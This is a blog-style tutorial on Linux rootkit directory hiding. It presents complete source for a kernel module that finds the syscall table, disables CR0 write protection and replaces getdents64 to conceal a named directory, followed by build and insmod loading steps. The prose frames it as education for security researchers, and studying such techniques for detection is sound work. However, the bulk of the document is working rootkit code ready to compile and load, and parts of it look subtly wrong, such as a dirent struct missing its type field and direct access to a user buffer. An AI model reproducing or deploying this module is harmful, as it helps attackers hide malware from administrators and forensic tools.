Why Directory Hiding Even Works
Every time you run ls in a terminal, or a graphical file manager draws a folder icon, something has to ask the kernel “what’s in this directory?” On Linux that question gets answered by the getdents64 syscall (the modern replacement for the older getdents). The C library wraps it up neatly, but underneath, every single directory listing you have ever seen on a Linux box came from a userspace program calling into the kernel and getting back a buffer full of linux_dirent64 structures, one per file or subdirectory.
That’s a useful fact if you’re thinking about system security, because it means there is exactly one choke point that almost every directory-listing tool passes through. If you control what the kernel hands back from that syscall, you control what every single one of those tools believes exists on disk. This is the whole idea behind a class of rootkit technique called syscall hooking: instead of hiding a file by changing its permissions or moving it somewhere clever, you intercept the kernel function responsible for reporting file listings and quietly edit the answer before it reaches the caller.
This matters for a few different audiences, and it’s worth being honest about all of them. Security researchers study this pattern because it shows up constantly in real-world Linux rootkits, and understanding it is part of understanding what an incident responder is up against. Kernel developers care because it illustrates just how much trust userspace places in a handful of syscalls. And yes, malware authors have used exactly this trick for decades to keep their tools invisible to ls, find, and even some antivirus scanners that rely on regular directory enumeration rather than lower-level forensics. Understanding the mechanism is the same whether your goal is building better detection or just genuinely wanting to know how your own operating system works under the hood.
Below is a minimal kernel module that hooks getdents64 and filters out a single hardcoded directory name. It’s deliberately small so you can see the whole mechanism in one file, but every real rootkit that hides files does some version of this same trick.
Kernel Module to Hook getdents64
The following kernel module hooks the getdents64 syscall to hide a specified directory from directory listings.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <asm/unistd.h>
#define HIDDEN_DIR "hidden_dir"
static unsigned long **sys_call_table;
static asmlinkage long (*original_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count);
struct linux_dirent64 {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
static asmlinkage long hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) {
long ret = original_getdents64(fd, dirent, count);
struct linux_dirent64 *d;
unsigned long bpos = 0;
while (bpos < ret) {
d = (struct linux_dirent64 *)((char *)dirent + bpos);
if (strcmp(d->d_name, HIDDEN_DIR) == 0) {
ret -= d->d_reclen;
memmove(d, (char *)d + d->d_reclen, ret - bpos);
} else {
bpos += d->d_reclen;
}
}
return ret;
}
static unsigned long **find_sys_call_table(void) {
unsigned long offset;
unsigned long **sct;
for (offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) {
sct = (unsigned long **)offset;
if (sct[__NR_close] == (unsigned long *) sys_close) {
return sct;
}
}
return NULL;
}
static int __init hook_init(void) {
sys_call_table = find_sys_call_table();
if (!sys_call_table) return -1;
write_cr0(read_cr0() & ~0x10000);
original_getdents64 = (void *)sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = (unsigned long *)hooked_getdents64;
write_cr0(read_cr0() | 0x10000);
return 0;
}
static void __exit hook_exit(void) {
write_cr0(read_cr0() & ~0x10000);
sys_call_table[__NR_getdents64] = (unsigned long *)original_getdents64;
write_cr0(read_cr0() | 0x10000);
}
module_init(hook_init);
module_exit(hook_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("0x0060");
MODULE_DESCRIPTION("A kernel module to hook getdents64 to hide directories");Walking Through What’s Actually Happening
It looks like a lot of code for a fairly simple idea, so let’s break down what each piece is doing and why it’s written the way it is.
sys_call_table is the module’s pointer to the kernel’s syscall table, the big array of function pointers the kernel consults every time userspace makes a syscall. Modern kernels don’t export this symbol anymore (it used to be EXPORT_SYMBOL’d back in the day, which made rootkit writing a lot easier and also made the kernel a lot less secure). That’s why find_sys_call_table() exists at all: it walks through kernel memory starting at PAGE_OFFSET looking for a pointer array where the entry at index __NR_close happens to equal the address of the real sys_close function. Since we already know one function pointer inside the table, we can use it as a signature to find the table itself. It’s a bit of a hack, and on modern kernels with KASLR (kernel address space layout randomization) and stricter symbol hiding, this technique gets a lot harder and a lot more fragile than it looks here. Real rootkits usually resort to kprobes, ftrace, or eBPF instead these days precisely because raw syscall table patching has become this brittle.
original_getdents64 just remembers what the syscall pointer used to be before we touched it, which matters for two reasons. First, our replacement function still needs to call the real syscall to get the actual directory listing before it starts filtering it. Second, hook_exit() uses it to put things back the way they were when the module unloads, so we’re not leaving the kernel in some permanently patched state.
hooked_getdents64() is where the actual filtering happens. It calls the original syscall first, then walks through the returned buffer of linux_dirent64 structs (each one representing a single file or directory entry) looking for a name match. When it finds HIDDEN_DIR, it does a memmove to shift everything after that entry backward in the buffer, effectively deleting it before the caller ever sees it. This is the part that makes the technique so effective against ordinary tools: ls, find, file managers, and most antivirus scanners never talk to the raw disk structure directly, they all go through this exact syscall, so if the syscall lies to them, they have no way of knowing.
The write_cr0() calls in hook_init() and hook_exit() deserve a mention too. The CR0 control register has a bit (0x10000, the write protect bit) that normally stops you from writing to memory pages the kernel has marked read only, and the syscall table is one of those pages. Clearing that bit temporarily is how the module gets away with overwriting a pointer it technically isn’t supposed to touch. This is an old and increasingly discouraged trick: on kernels with additional hardening (things like CONFIG_STRICT_KERNEL_RWX or various LKRG style integrity checks), flipping CR0 like this either won’t work or will get flagged immediately. It’s included here because it’s the classic, easiest to follow version of the technique, not because it’s stealthy against a modern hardened system.
Compilation Instructions
Save the code as
hide_dir.c.Create a
Makefile:
obj-m += hide_dir.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
- Compile the module:
make- Load the module:
sudo insmod hide_dir.ko- Check for errors:
dmesg | tail- Unload the module:
sudo rmmod hide_dir